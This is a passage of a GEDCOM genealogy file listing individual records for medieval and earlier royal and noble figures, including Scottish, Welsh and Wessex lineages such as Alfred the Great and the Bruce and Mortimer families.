INDI\n1 NAME Hugh  //\n1 TITL Earl of Ross\n1 SEX M\n1 FAMS @F732@\n0 @I1821@ INDI\n1 NAME Jean  //\n1 TITL Lady\n1 SEX F\n1 FAMS @F733@\n1 FAMS @F734@\n1 FAMS @F735@\n1 FAMC @F543@\n0 @I1822@ INDI\n1 NAME John  /Keith/\n1 TITL Sir\n1 SEX M\n1 FAMS @F733@\n0 @I1823@ INDI\n1 NAME John of_Glamis /Lyon/\n1 TITL Sir\n1 SEX M\n1 FAMS @F734@\n0 @I1824@ INDI\n1 NAME James  /Sandilands/\n1 TITL Sir\n1 SEX M\n1 FAMS @F735@\n0 @I1825@ INDI\n1 NAME John  /Drummond/\n1 TITL Sir\n1 SEX M\n1 FAMS @F737@\n0 @I1826@ INDI\n1 NAME Arnold  //\n1 TITL Duke of Gueldres\n1 SEX M\n1 FAMS @F738@\n0 @I1827@ INDI\n1 NAME Christian_I  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE        1426\n1 DEAT\n2 DATE        1481\n1 FAMS @F739@\n0 @I1828@ INDI\n1 NAME Dorothea  //\n1 SEX F\n1 BIRT\n2 DATE        1430\n1 DEAT\n2 DATE        1495\n1 FAMS @F739@\n1 FAMS @F1342@\n1 FAMC @F1277@\n0 @I1829@ INDI\n1 NAME   /Unknown/\n1 SEX F\n1 FAMS @F548@\n0 @I1830@ INDI\n1 NAME Robert  /Bruce/\n1 SEX M\n1 DEAT\n2 DATE        1304\n1 FAMS @F740@\n1 FAMC @F741@\n0 @I1831@ INDI\n1 NAME Margaret of_Carrick //\n1 TITL Countess\n1 SEX F\n1 FAMS @F740@\n0 @I1832@ INDI\n1 NAME Robert  /Bruce/\n1 SEX M\n1 DEAT\n2 DATE        1295\n1 FAMS @F741@\n1 FAMC @F743@\n0 @I1833@ INDI\n1 NAME Isobel  //\n1 SEX F\n1 DEAT\n2 DATE        1254\n1 FAMS @F741@\n1 FAMC @F742@\n0 @I1834@ INDI\n1 NAME Gilbert De_Clare of_Gloucester//\n1 TITL Earl\n1 SEX M\n1 FAMS @F742@\n0 @I1835@ INDI\n1 NAME Robert of_Annandale /Bruce/\n1 TITL Lord\n1 SEX M\n1 FAMS @F743@\n0 @I1836@ INDI\n1 NAME Isobel  //\n1 SEX F\n1 DEAT\n2 DATE        1251\n1 FAMS @F743@\n1 FAMC @F744@\n0 @I1837@ INDI\n1 NAME David of_Huntingdon //\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1219\n1 FAMS @F744@\n1 FAMC @F1023@\n0 @I1838@ INDI\n1 NAME Matilda  //\n1 SEX F\n1 DEAT\n2 DATE        1233\n1 FAMS @F744@\n1 FAMC @F745@\n0 @I1839@ INDI\n1 NAME Hugh  /Keveliock/\n1 TITL Earl of Chester\n1 SEX M\n1 FAMS @F745@\n0 @I1840@ INDI\n1 NAME John  /Logie/\n1 TITL Sir\n1 SEX M\n1 FAMS @F746@\n0 @I1841@ INDI\n1 NAME Malcolm  /Drummond/\n1 TITL Sir\n1 SEX M\n1 FAMS @F747@\n0 @I1842@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 DEAT\n2 DATE        1228\n1 FAMS @F806@\n1 FAMC @F744@\n0 @I1843@ INDI\n1 NAME Alan  //\n1 TITL Lord of Galloway\n1 SEX M\n1 FAMS @F748@\n1 FAMS @F806@\n0 @I1844@ INDI\n1 NAME Devorguilla  //\n1 SEX F\n1 DEAT\n2 DATE        1290\n1 FAMS @F749@\n1 FAMC @F806@\n0 @I1845@ INDI\n1 NAME John  /Balliol/\n1 SEX M\n1 FAMS @F749@\n0 @I1846@ INDI\n1 NAME John  /Balliol/\n1 SEX M\n1 DEAT\n2 DATE        1313\n1 FAMS @F750@\n1 FAMC @F749@\n0 @I1847@ INDI\n1 NAME Isobel  //\n1 SEX F\n1 FAMS @F750@\n1 FAMC @F751@\n0 @I1848@ INDI\n1 NAME John de_Warenne //\n1 TITL Earl of Surrey\n1 SEX M\n1 FAMS @F751@\n0 @I1849@ INDI\n1 NAME Edward  /Balliol/\n1 SEX M\n1 DEAT\n2 DATE        1363\n1 FAMC @F750@\n0 @I1850@ INDI\n1 NAME Baldwin_V of_Flanders //\n1 TITL Count\n1 SEX M\n1 FAMS @F752@\n0 @I1851@ INDI\n1 NAME Sybilla  //\n1 SEX F\n1 FAMS @F753@\n1 FAMC @F754@\n0 @I1852@ INDI\n1 NAME Geoffrey of_Conversano //\n1 TITL Count\n1 SEX M\n1 FAMS @F754@\n0 @I1853@ INDI\n1 NAME William Clito of_Flanders//\n1 TITL Count\n1 SEX M\n1 DEAT\n2 DATE        1128\n1 FAMS @F755@\n1 FAMS @F757@\n1 FAMC @F753@\n0 @I1854@ INDI\n1 NAME Sybil  //\n1 SEX F\n1 FAMS @F755@\n1 FAMC @F760@\n0 @I1855@ INDI\n1 NAME Fulke  //\n1 TITL Count of Anjou\n1 SEX M\n1 FAMS @F760@\n0 @I1856@ INDI\n1 NAME Adelicia  //\n1 SEX F\n1 FAMS @F757@\n1 FAMC @F758@\n0 @I1857@ INDI\n1 NAME Reiner of_Montferrat //\n1 TITL Marquis\n1 SEX M\n1 FAMS @F758@\n0 @I1858@ INDI\n1 NAME Isabella  //\n1 SEX F\n1 FAMS @F759@\n1 FAMC @F760@\n0 @I1859@ INDI\n1 NAME Geoffrey Lower_Lorraine //\n1 TITL Duke\n1 SEX M\n1 FAMS @F756@\n0 @I1860@ INDI\n1 NAME Matilda  //\n1 SEX F\n1 DEAT\n2 DATE        1120\n1 FAMC @F569@\n0 @I1861@ INDI\n1 NAME William  //\n1 SEX M\n1 FAMS @F761@\n1 FAMC @F569@\n0 @I1862@ INDI\n1 NAME Agnes  //\n1 SEX F\n1 FAMS @F761@\n1 FAMC @F762@\n0 @I1863@ INDI\n1 NAME Giles de_Sulli //\n1 SEX M\n1 FAMS @F762@\n0 @I1864@ INDI\n1 NAME Maud  //\n1 SEX F\n1 FAMS @F763@\n1 FAMC @F764@\n0 @I1865@ INDI\n1 NAME Ingelbert of_Carinthia //\n1 TITL Duke\n1 SEX M\n1 FAMS @F764@\n0 @I1866@ INDI\n1 NAME Geoffrey_VI of_Anjou //\n1 TITL Count of Nantes\n1 SEX M\n1 BIRT\n2 DATE        1134\n1 DEAT\n2 DATE        1158\n1 FAMC @F510@\n0 @I1867@ INDI\n1 NAME William  //\n1 TITL Count of Poitou\n1 SEX M\n1 BIRT\n2 DATE        1136\n1 DEAT\n2 DATE        1164\n1 FAMC @F510@\n0 @I1868@ INDI\n1 NAME William_X of_Aquitaine //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1099\n1 DEAT\n2 DATE        1137\n1 FAMS @F765@\n0 @I1869@ INDI\n1 NAME Louis_VII the_Younger //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE ABT    1121\n1 DEAT\n2 DATE 18 SEP 1180\n2 PLAC Paris,France\n1 BURI\n2 PLAC Abbey Barbeaux,Melun,France\n1 FAMS @F766@\n1 FAMS @F1168@\n1 FAMS @F1169@\n1 FAMC @F1158@\n0 @I1870@ INDI\n1 NAME William de_Warenne //\n1 TITL Earl of Surrey\n1 SEX M\n1 FAMS @F767@\n0 @I1871@ INDI\n1 NAME Theodore of_Flanders //\n1 TITL Count\n1 SEX M\n1 FAMS @F768@\n0 @I1872@ INDI\n1 NAME Sancho_VI  //\n1 TITL King of Navarre\n1 SEX M\n1 FAMS @F769@\n0 @I1873@ INDI\n1 NAME Eleanor  //\n1 SEX F\n1 DEAT\n2 DATE        1241\n1 FAMC @F563@\n0 @I1874@ INDI\n1 NAME Conan of_Brittany //\n1 TITL Duke\n1 SEX M\n1 FAMS @F770@\n0 @I1875@ INDI\n1 NAME Ranulph  //\n1 TITL Earl of Chester\n1 SEX M\n1 FAMS @F771@\n0 @I1876@ INDI\n1 NAME Guy of_Thouars //\n1 TITL Viscount\n1 SEX M\n1 FAMS @F772@\n0 @I1877@ INDI\n1 NAME William of_Gloucester //\n1 TITL Earl\n1 SEX M\n1 FAMS @F773@\n0 @I1878@ INDI\n1 NAME Geoffrey de_Mandeville //\n1 SEX M\n1 FAMS @F774@\n0 @I1879@ INDI\n1 NAME Hubert de_Burgh //\n1 SEX M\n1 FAMS @F775@\n0 @I1880@ INDI\n1 NAME Hugh de_la_Marche /le_Brun/\n1 TITL Count\n1 SEX M\n1 FAMS @F776@\n0 @I1881@ INDI\n1 NAME Raymond of_Provence //\n1 TITL Count\n1 SEX M\n1 FAMS @F777@\n0 @I1882@ INDI\n1 NAME Henry  //\n1 SEX M\n1 DEAT\n2 DATE        1271\n1 FAMC @F599@\n0 @I1883@ INDI\n1 NAME William of_Pembroke /Marshal/\n1 TITL Earl\n1 SEX M\n1 FAMS @F778@\n0 @I1884@ INDI\n1 NAME Raymond of_Provence /Berengar/\n1 TITL Count\n1 SEX M\n1 FAMS @F779@\n0 @I1885@ INDI\n1 NAME William de_Fauquemont of_Montjoye//\n1 TITL Count\n1 SEX M\n1 FAMS @F780@\n0 @I1886@ INDI\n1 NAME Alexander_II  //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1198\n1 DEAT\n2 DATE        1249\n1 FAMS @F781@\n1 FAMS @F1025@\n1 FAMC @F1024@\n0 @I1887@ INDI\n1 NAME Edmund  //\n1 TITL Earl of Cornwall\n1 SEX M\n1 DEAT\n2 DATE        1300\n1 FAMS @F782@\n1 FAMC @F600@\n0 @I1888@ INDI\n1 NAME Richard  //\n1 SEX M\n1 DEAT\n2 DATE        1296\n1 FAMC @F600@\n0 @I1889@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 FAMS @F782@\n1 FAMC @F783@\n0 @I1890@ INDI\n1 NAME Richard De_Clare of_Gloucester//\n1 TITL Earl\n1 SEX M\n1 FAMS @F783@\n0 @I1891@ INDI\n1 NAME Alfonso_IX  //\n1 TITL King of Castile\n1 SEX M\n1 DEAT\n2 DATE        1230\n1 FAMS @F784@\n1 FAMS @F691@\n0 @I1892@ INDI\n1 NAME Lucienne of_Rochefort //\n1 SEX F\n1 FAMS @F694@\n0 @I1893@ INDI\n1 NAME William of_Albemarle /de_Forz/\n1 TITL Count\n1 SEX M\n1 FAMS @F785@\n0 @I1894@ INDI\n1 NAME Robert  //\n1 TITL Count of Artois\n1 SEX M\n1 FAMS @F786@\n1 FAMC @F690@\n0 @I1895@ INDI\n1 NAME   /Unknown/\n1 SEX F\n1 FAMS @F786@\n0 @I1896@ INDI\n1 NAME Yolande  //\n1 SEX F\n1 FAMS @F787@\n1 FAMC @F788@\n0 @I1897@ INDI\n1 NAME Robert_IV  //\n1 TITL Count of Dreux\n1 SEX M\n1 FAMS @F788@\n0 @I1898@ INDI\n1 NAME Roger of_Harwich /Hayles/\n1 TITL Sir\n1 SEX M\n1 FAMS @F789@\n0 @I1899@ INDI\n1 NAME Piers De_Braose //\n1 SEX M\n1 FAMS @F790@\n0 @I1900@ INDI\n1 NAME Ralph  /Cobham/\n1 TITL Sir\n1 SEX M\n1 FAMS @F791@\n0 @I1901@ INDI\n1 NAME John  //\n1 TITL Lord Wake\n1 SEX M\n1 FAMS @F792@\n0 @I1902@ INDI\n1 NAME John  /Comyn/\n1 SEX M\n1 FAMS @F793@\n0 @I1903@ INDI\n1 NAME Philip_IV the_Fair //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE        1268\n2 PLAC Fontainebleau,France\n1 DEAT\n2 DATE 29 NOV 1314\n2 PLAC Fontainebleau,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F794@\n1 FAMC @F688@\n0 @I1904@ INDI\n1 NAME Roger  /Mortimer/\n1 TITL Earl of March II\n1 SEX M\n1 DEAT\n2 DATE        1360\n1 FAMS @F795@\n1 FAMC @F796@\n0 @I1905@ INDI\n1 NAME Edmund  /Mortimer/\n1 TITL Sir\n1 SEX M\n1 FAMS @F796@\n1 FAMC @F797@\n0 @I1906@ INDI\n1 NAME Roger  /Mortimer/\n1 TITL Earl of March I\n1 SEX M\n1 DEAT\n2 DATE        1330\n1 FAMS @F797@\n1 FAMC @F798@\n0 @I1907@ INDI\n1 NAME Edmund  /Mortimer/\n1 TITL Lord Mortimer I\n1 SEX M\n1 FAMS @F798@\n1 FAMC @F799@\n0 @I1908@ INDI\n1 NAME Roger  /Mortimer/\n1 SEX M\n1 FAMS @F799@\n1 FAMC @F800@\n0 @I1909@ INDI\n1 NAME Maud  //\n1 SEX F\n1 FAMS @F799@\n1 FAMC @F807@\n0 @I1910@ INDI\n1 NAME Ralph  /Mortimer/\n1 SEX M\n1 FAMS @F800@\n0 @I1911@ INDI\n1 NAME Gwladus DDU //\n1 SEX F\n1 FAMS @F801@\n1 FAMS @F800@\n1 FAMC @F802@\n0 @I1912@ INDI\n1 NAME Reginald De_Braose //\n1 SEX M\n1 FAMS @F801@\n1 FAMS @F808@\n1 FAMC @F809@\n0 @I1913@ INDI\n1 NAME Llywelyn Fawr the_Great//\n1 TITL Prince of Wales\n1 SEX M\n1 FAMS @F802@\n1 FAMC @F830@\n0 @I1914@ INDI\n1 NAME Richard  /Wellesley/\n1 TITL Marquess\n1 SEX M\n1 DEAT\n2 DATE        1842\n1 FAMS @F803@\n1 FAMC @F804@\n0 @I1915@ INDI\n1 NAME Garret of_Mornington /Wellesley/\n1 TITL Earl\n1 SEX M\n1 FAMS @F804@\n0 @I1916@ INDI\n1 NAME Anne  /Hill/\n1 TITL Hon.\n1 SEX F\n1 DEAT\n2 DATE        1831\n1 FAMS @F804@\n1 FAMC @F805@\n0 @I1917@ INDI\n1 NAME Arthur of_Wellington /Wellesley/\n1 TITL Duke\n1 SEX M\n1 FAMC @F804@\n0 @I1918@ INDI\n1 NAME Arthur Dungannon /Hill/\n1 TITL Viscount\n1 SEX M\n1 FAMS @F805@\n1 FAMC @F987@\n0 @I1919@ INDI\n1 NAME William  /De_Braose/\n1 SEX M\n1 FAMS @F807@\n1 FAMC @F808@\n0 @I1920@ INDI\n1 NAME William  /De_Braose/\n1 SEX M\n1 FAMS @F809@\n0 @I1921@ INDI\n1 NAME Bertha  //\n1 SEX F\n1 FAMS @F809@\n1 FAMC @F810@\n0 @I1922@ INDI\n1 NAME Miles of_Gloucester //\n1 TITL Earl of Hereford\n1 SEX M\n1 FAMS @F810@\n0 @I1923@ INDI\n1 NAME Sybil  //\n1 SEX F\n1 FAMS @F810@\n1 FAMC @F811@\n0 @I1924@ INDI\n1 NAME Bernard of_Neufmarche //\n1 SEX M\n1 FAMS @F811@\n0 @I1925@ INDI\n1 NAME Nest  //\n1 SEX F\n1 FAMS @F811@\n1 FAMC @F812@\n0 @I1926@ INDI\n1 NAME Osbern Fitz Richard//\n1 SEX M\n1 FAMS @F812@\n0 @I1927@ INDI\n1 NAME Nest  //\n1 SEX F\n1 FAMS @F812@\n1 FAMC @F813@\n0 @I1928@ INDI\n1 NAME Gruffydd Ap_Llywelyn //\n1 SEX M\n1 FAMS @F813@\n1 FAMC @F814@\n0 @I1929@ INDI\n1 NAME Henry_III  //\n1 TITL King of Germany\n1 SEX M\n1 BIRT\n2 DATE        1017\n1 DEAT\n2 DATE        1056\n1 FAMS @F846@\n0 @I1930@ INDI\n1 NAME Llywelyn Ap_Seisyll //\n1 SEX M\n1 FAMS @F814@\n0 @I1931@ INDI\n1 NAME Angharad  //\n1 SEX F\n1 FAMS @F814@\n1 FAMS @F815@\n1 FAMC @F816@\n0 @I1932@ INDI\n1 NAME Cynfyn of_Powys //\n1 SEX M\n1 FAMS @F815@\n0 @I1933@ INDI\n1 NAME Bleddyn  //\n1 SEX M\n1 FAMC @F815@\n0 @I1934@ INDI\n1 NAME Maredudd  //\n1 SEX M\n1 FAMS @F816@\n1 FAMC @F817@\n0 @I1935@ INDI\n1 NAME Owain  //\n1 SEX M\n1 DEAT\n2 DATE         968\n1 FAMS @F817@\n1 FAMC @F818@\n0 @I1936@ INDI\n1 NAME Hywel Dda (the_Good)//\n1 SEX M\n1 FAMS @F818@\n1 FAMC @F819@\n0 @I1937@ INDI\n1 NAME Cadell  //\n1 SEX M\n1 DEAT\n2 DATE         909\n1 FAMS @F819@\n1 FAMC @F820@\n0 @I1938@ INDI\n1 NAME Rhodri Mawr (the_Great)//\n1 SEX M\n1 FAMS @F820@\n0 @I1939@ INDI\n1 NAME Anarawd  //\n1 SEX M\n1 FAMS @F822@\n1 FAMC @F820@\n0 @I1940@ INDI\n1 NAME Idwal Foel (the_Bald)//\n1 SEX M\n1 DEAT\n2 DATE         942\n1 FAMS @F821@\n1 FAMC @F822@\n0 @I1941@ INDI\n1 NAME   /Unknown/\n1 SEX F\n1 FAMS @F821@\n0 @I1942@ INDI\n1 NAME Iago  //\n1 SEX M\n1 FAMC @F821@\n0 @I1943@ INDI\n1 NAME Ieuaf (Levan) //\n1 SEX M\n1 FAMS @F824@\n1 FAMC @F821@\n0 @I1944@ INDI\n1 NAME Meurig  //\n1 SEX M\n1 DEAT\n2 DATE         986\n1 FAMS @F825@\n1 FAMC @F821@\n0 @I1945@ INDI\n1 NAME Hywel (the_Bad) //\n1 SEX M\n1 FAMS @F823@\n1 FAMC @F824@\n0 @I1946@ INDI\n1 NAME Cadwallon  //\n1 SEX M\n1 FAMC @F824@\n0 @I1947@ INDI\n1 NAME Cynan  //\n1 SEX M\n1 FAMC @F823@\n0 @I1948@ INDI\n1 NAME Idwal  //\n1 SEX M\n1 DEAT\n2 DATE         996\n1 FAMS @F826@\n1 FAMC @F825@\n0 @I1949@ INDI\n1 NAME Iago  //\n1 SEX M\n1 FAMS @F828@\n1 FAMC @F826@\n0 @I1950@ INDI\n1 NAME Cynan  //\n1 SEX M\n1 FAMS @F827@\n1 FAMC @F828@\n0 @I1951@ INDI\n1 NAME Gruffydd Ap_Cynan //\n1 SEX M\n1 FAMS @F829@\n1 FAMC @F827@\n0 @I1952@ INDI\n1 NAME Owain Gwynedd //\n1 SEX M\n1 FAMS @F831@\n1 FAMC @F829@\n0 @I1953@ INDI\n1 NAME Iorwerth Drwyndwn //\n1 SEX M\n1 FAMS @F830@\n1 FAMC @F831@\n0 @I1954@ INDI\n1 NAME   /Unknown/\n1 SEX F\n1 FAMS @F831@\n0 @I1955@ INDI\n1 NAME Dafydd  //\n1 SEX M\n1 FAMC @F831@\n0 @I1956@ INDI\n1 NAME   /Unknown/\n1 SEX F\n1 FAMS @F802@\n0 @I1957@ INDI\n1 NAME Gruffydd  //\n1 SEX M\n1 FAMS @F833@\n1 FAMC @F802@\n0 @I1958@ INDI\n1 NAME Dafydd  //\n1 SEX M\n1 FAMC @F802@\n0 @I1959@ INDI\n1 NAME Angharad  //\n1 SEX F\n1 FAMS @F970@\n1 FAMC @F802@\n0 @I1960@ INDI\n1 NAME Gwenllian  //\n1 SEX F\n1 FAMC @F832@\n0 @I1961@ INDI\n1 NAME Llywelyn Ap_Gruffydd //\n1 SEX M\n1 FAMS @F832@\n1 FAMC @F833@\n0 @I1962@ INDI\n1 NAME Kathryn  //\n1 SEX F\n1 FAMC @F62@\n0 @I1963@ INDI\n1 NAME Norissa  //\n1 SEX F\n1 FAMC @F62@\n0 @I1964@ INDI\n1 NAME Alfred the_Great //\n1 TITL King West Saxons\n1 SEX M\n1 BIRT\n2 DATE         849\n2 PLAC Wantage,,,England\n1 DEAT\n2 DATE         899\n1 FAMS @F834@\n1 FAMC @F835@\n0 @I1965@ INDI\n1 NAME Ealhswith  //\n1 SEX F\n1 DEAT\n2 DATE         905\n1 FAMS @F834@\n1 FAMC @F842@\n0 @I1966@ INDI\n1 NAME Ethelwulf  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         858\n1 FAMS @F835@\n1 FAMS @F838@\n1 FAMC @F837@\n0 @I1967@ INDI\n1 NAME Osburh  //\n1 SEX F\n1 DEAT\n2 DATE         846\n1 FAMS @F835@\n1 FAMC @F839@\n0 @I1968@ INDI\n1 NAME Athelstan  //\n1 SEX M\n1 FAMC @F835@\n0 @I1969@ INDI\n1 NAME Ethelbald  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         860\n1 FAMS @F836@\n1 FAMC @F835@\n0 @I1970@ INDI\n1 NAME Judith  //\n1 SEX F\n1 FAMS @F836@\n1 FAMS @F838@\n0 @I1971@ INDI\n1 NAME Ethelbert  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         866\n1 FAMC @F835@\n0 @I1972@ INDI\n1 NAME Ethelred_I  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         871\n1 FAMS @F840@\n1 FAMC @F835@\n0 @I1973@ INDI\n1 NAME Egbert  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         839\n1 FAMS @F837@\n1 FAMC @F895@\n0 @I1974@ INDI\n1 NAME Redburh  //\n1 SEX F\n1 FAMS @F837@\n0 @I1975@ INDI\n1 NAME Athelstan  //\n1 SEX M\n1 FAMC @F837@\n0 @I1976@ INDI\n1 NAME Oslac  //\n1 SEX M\n1 FAMS @F839@\n0 @I1977@ INDI\n1 NAME Ethelswith  //\n1 SEX F\n1 DEAT\n2 DATE         888\n1 FAMS @F841@\n1 FAMC @F835@\n0 @I1978@ INDI\n1 NAME Ethelhelm  //\n1 SEX M\n1 FAMC @F840@\n0 @I1979@ INDI\n1 NAME Ethelwald  //\n1 TITL King of York\n1 SEX M\n1 FAMC @F840@\n0 @I1980@ INDI\n1 NAME Burghred  //\n1 TITL King of Mercia\n1 SEX M\n1 FAMS @F841@\n0 @I1981@ INDI\n1 NAME Ethelred  /Mucel/\n1 TITL Ealdorman\n1 SEX M\n1 FAMS @F842@\n0 @I1982@ INDI\n1 NAME Ethelwerd  //\n1 SEX M\n1 DEAT\n2 DATE         922\n1 FAMS @F843@\n1 FAMC @F834@\n0 @I1983@ INDI\n1 NAME Elfwine  //\n1 SEX M\n1 DEAT\n2 DATE         937\n1 FAMC @F843@\n0 @I1984@ INDI\n1 NAME Ethelwine  //\n1 SEX M\n1 DEAT\n2 DATE         937\n1 FAMC @F843@\n0 @I1985@ INDI\n1 NAME Ethelfleda  //\n1 TITL Lady of Mercia\n1 SEX F\n1 DEAT\n2 DATE         918\n1 FAMS @F845@\n1 FAMC @F834@\n0 @I1986@ INDI\n1 NAME Ethelgiva of_Shaftesbury //\n1 TITL Abbess\n1 SEX F\n1 FAMC @F834@\n0 @I1987@ INDI\n1 NAME Elfrida  //\n1 SEX F\n1 FAMS @F844@\n1 FAMC @F834@\n0 @I1988@ INDI\n1 NAME Baldwin_II of_Flanders //\n1 TITL Count\n1 SEX M\n1 FAMS @F844@\n0 @I1989@ INDI\n1 NAME Ethelred of_Mercia //\n1 TITL Ealdorman\n1 SEX M\n1 DEAT\n2 DATE         910\n1 FAMS @F845@\n0 @I1990@ INDI\n1 NAME Henry_IV  //\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE 11 NOV 1050\n2 PLAC Goslar,,,Germany\n1 DEAT\n2 DATE  7 AUG 1106\n2 PLAC Liege,,,Belgium\n1 FAMC @F846@\n0 @I1991@ INDI\n1 NAME Cerdic  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         534\n1 FAMS @F847@\n1 FAMC @F849@\n0 @I1992@ INDI\n1 NAME Cynric  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         560\n1 FAMS @F848@\n1 FAMC @F847@\n0 @I1993@ INDI\n1 NAME Ceawlin  //\n1 SEX M\n1 DEAT\n2 DATE         593\n1 FAMS @F885@\n1 FAMC @F848@\n0 @I1994@ INDI\n1 NAME Cutha  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         584\n1 FAMS @F874@\n1 FAMC @F848@\n0 @I1995@ INDI\n1 NAME Elesa  //\n1 SEX M\n1 FAMS @F849@\n1 FAMC @F850@\n0 @I1996@ INDI\n1 NAME Elsa  //\n1 SEX M\n1 FAMS @F850@\n1 FAMC @F851@\n0 @I1997@ INDI\n1 NAME Gewis  //\n1 SEX M\n1 FAMS @F851@\n1 FAMC @F852@\n0 @I1998@ INDI\n1 NAME Wig  //\n1 SEX M\n1 FAMS @F852@\n1 FAMC @F853@\n0 @I1999@ INDI\n1 NAME Freawine  //\n1 SEX M\n1 FAMS @F853@\n1 FAMC @F854@\n0 @I2000@ INDI\n1 NAME Frithogar  //\n1 SEX M\n1 FAMS @F854@\n1 FAMC @F855@\n0 @I2001@ INDI\n1 NAME Brond  //\n1 SEX M\n1 FAMS @F855@\n1 FAMC @F856@\n0 @I2002@ INDI\n1 NAME Baeldaeg  //\n1 SEX M\n1 FAMS @F856@\n1 FAMC @F857@\n0 @I2003@ INDI\n1 NAME Woden  //\n1 SEX M\n1 FAMS @F857@\n1 FAMC @F858@\n0 @I2004@ INDI\n1 NAME Frithuwald  //\n1 SEX M\n1 FAMS @F858@\n1 FAMC @F859@\n0 @I2005@ INDI\n1 NAME Frealaf  //\n1 SEX M\n1 FAMS @F859@\n1 FAMC @F860@\n0 @I2006@ INDI\n1 NAME Frithuwulf  //\n1 SEX M\n1 FAMS @F860@\n1 FAMC @F861@\n0 @I2007@ INDI\n1 NAME Finn  //\n1 SEX M\n1 FAMS @F861@\n1 FAMC @F862@\n0 @I2008@ INDI\n1 NAME Godwulf  //\n1 SEX M\n1 FAMS @F862@\n1 FAMC @F863@\n0 @I2009@ INDI\n1 NAME Geata  //\n1 SEX M\n1 FAMS @F863@\n1 FAMC @F864@\n0 @I2010@ INDI\n1 NAME Taetwa  //\n1 SEX M\n1 FAMS @F864@\n1 FAMC @F865@\n0 @I2011@ INDI\n1 NAME Beaw  //\n1 SEX M\n1 FAMS @F865@\n1 FAMC @F866@\n0 @I2012@ INDI\n1 NAME Sceldwa  //\n1 SEX M\n1 FAMS @F866@\n1 FAMC @F867@\n0 @I2013@ INDI\n1 NAME Heremod  //\n1 SEX M\n1 FAMS @F867@\n1 FAMC @F868@\n0 @I2014@ INDI\n1 NAME Itermon  //\n1 SEX M\n1 FAMS @F868@\n1 FAMC @F869@\n0 @I2015@ INDI\n1 NAME Hathra  //\n1 SEX M\n1 FAMS @F869@\n1 FAMC @F870@\n0 @I2016@ INDI\n1 NAME Hwala  //\n1 SEX M\n1 FAMS @F870@\n1 FAMC @F871@\n0 @I2017@ INDI\n1 NAME Bedwig  //\n1 SEX M\n1 FAMS @F871@\n1 FAMC @F872@\n0 @I2018@ INDI\n1 NAME Sceaf  //\n1 SEX M\n1 FAMS @F872@\n0 @I2019@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F873@\n1 FAMC @F849@\n0 @I2020@ INDI\n1 NAME Stuf  //\n1 SEX M\n1 FAMC @F873@\n0 @I2021@ INDI\n1 NAME Wihtgar Isle_of_Wight //\n1 TITL King\n1 SEX M\n1 DEAT\n2 DATE         544\n1 FAMC @F873@\n0 @I2022@ INDI\n1 NAME Ceolric  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         597\n1 FAMS @F875@\n1 FAMC @F874@\n0 @I2023@ INDI\n1 NAME Ceolwulf  //\n1 TITL King of Wessex\n1 SEX M\n1 FAMS @F879@\n1 FAMC @F874@\n0 @I2024@ INDI\n1 NAME Cynegils  //\n1 TITL King of Wessex\n1 SEX M\n1 FAMS @F880@\n1 FAMC @F875@\n0 @I2025@ INDI\n1 NAME Aescwine  //\n1 TITL King of Wessex\n1 SEX M\n1 FAMC @F876@\n0 @I2026@ INDI\n1 NAME Cenfus  //\n1 SEX M\n1 FAMS @F876@\n1 FAMC @F877@\n0 @I2027@ INDI\n1 NAME Cenferth  //\n1 SEX M\n1 FAMS @F877@\n1 FAMC @F878@\n0 @I2028@ INDI\n1 NAME Cuthgils  //\n1 SEX M\n1 FAMS @F878@\n1 FAMC @F879@\n0 @I2029@ INDI\n1 NAME Cwichelm  //\n1 SEX M\n1 DEAT\n2 DATE         636\n1 FAMS @F881@\n1 FAMC @F880@\n0 @I2030@ INDI\n1 NAME Cenwealh  //\n1 SEX M\n1 FAMS @F882@\n1 FAMS @F883@\n1 FAMC @F880@\n0 @I2031@ INDI\n1 NAME Centwine  //\n1 TITL King of Wessex\n1 SEX M\n1 FAMC @F880@\n0 @I2032@ INDI\n1 NAME Cyneburh  //\n1 SEX F\n1 FAMS @F884@\n1 FAMC @F880@\n0 @I2033@ INDI\n1 NAME Cuthred  //\n1 FAMC @F881@\n0 @I2034@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F882@\n0 @I2035@ INDI\n1 NAME Sexburh  //\n1 TITL Queen of Wessex\n1 SEX F\n1 FAMS @F883@\n0 @I2036@ INDI\n1 NAME Oswald of_Northumbria //\n1 TITL King\n1 SEX M\n1 FAMS @F884@\n0 @I2037@ INDI\n1 NAME Cuthwine  //\n1 SEX M\n1 FAMS @F886@\n1 FAMC @F885@\n0 @I2038@ INDI\n1 NAME Chad  //\n1 SEX M\n1 FAMS @F887@\n1 FAMC @F886@\n0 @I2039@ INDI\n1 NAME Cynebald  //\n1 SEX M\n1 FAMS @F890@\n1 FAMC @F886@\n0 @I2040@ INDI\n1 NAME Cuthwulf (Cutha) //\n1 SEX M\n1 FAMS @F899@\n1 FAMC @F886@\n0 @I2041@ INDI\n1 NAME Cenbert  //\n1 SEX M\n1 DEAT\n2 DATE         661\n1 FAMS @F888@\n1 FAMC @F887@\n0 @I2042@ INDI\n1 NAME Cedwalla  //\n1 TITL King of Wessex\n1 SEX M\n1 DEAT\n2 DATE         689\n2 PLAC Rome,,,Italy\n1 FAMC @F888@\n0 @I2043@ INDI\n1 NAME Mul  //\n1 TITL King of Kent\n1 SEX M\n1 DEAT\n2 DATE         687\n1 FAMC 